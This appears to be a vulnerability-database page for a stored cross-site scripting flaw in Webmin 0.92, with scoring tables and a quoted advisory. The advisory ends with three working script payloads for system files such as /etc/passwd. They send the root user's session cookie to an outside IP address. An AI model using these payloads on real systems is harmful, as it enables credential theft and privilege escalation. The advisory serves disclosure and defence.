CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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The web interface for Webmin 0.92 does not properly quote or filter script code in files that are displayed to the interface, which allows local users to execute script and possibly steal cookies by inserting the script into certain files or fields, such as a real user name entry in the passwd file.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
3.6
AV:L/AC:L/Au:N/C:P/I:P/A:N
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
2.53%
–
–
2022-03-27
–
–
2.53%
–
–
2022-04-03
–
–
2.53%
–
–
2022-06-19
–
–
2.53%
–
–
2022-12-25
–
–
2.53%
–
–
2023-01-01
–
–
2.53%
–
–
2023-02-26
–
–
2.53%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.13%
2025-03-30
–
–
–
–
0.11%
2025-04-15
–
–
–
–
0.11%
2025-04-15
–
–
–
–
0.11,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/4329/info
Webmin is a web-based interface for system administration of Unix and Linux operating systems.
Webmin does not filter script code from output that may be displayed by the web interface, such as log files, etc. This may enable a local attacker, with write privileges to such files, to cause arbitrary script code to be executed by the root user. Additionally, an attacker who can contrive a way to inject malicious script code into other types of output displayed by the Webmin interface may also exploit this issue.
This may enable the attacker to steal cookie-based authentication credentials from the root user, eventually resulting in an escalation of privileges for the local attacker.
Insert the following line into the virtusers file, and wait for the root
user to visit that page:
</tt></a></td><tt><td><script>/* */document.write('<img
src="http://192.168.40.1/'+document.cookie+'">');</script>
Or the following into the /etc/aliases file:
</a></td><td><tt><script>zz=unescape("%20");document.write('<img'/*:
*/+zz+'src="http://10.1.1.33/'+document.cookie+'">');</script>
Potentially more likely to be exploited however, would be a malicious
local user who has _no_ access to webmin, who could change a file that
webmin views through the HTML
interface (where the code being read in is not checked for HTML). An
example would be changing their
'real name' in /etc/passwd to be something along the lines of:
<script>zz=unescape("%3A");document.write('<img
src="http'+zz+'//10.1.1.33/'+document.cookie+'">');</script>
(Although chfn doesn't let you specify a username this long, but you get
the idea.)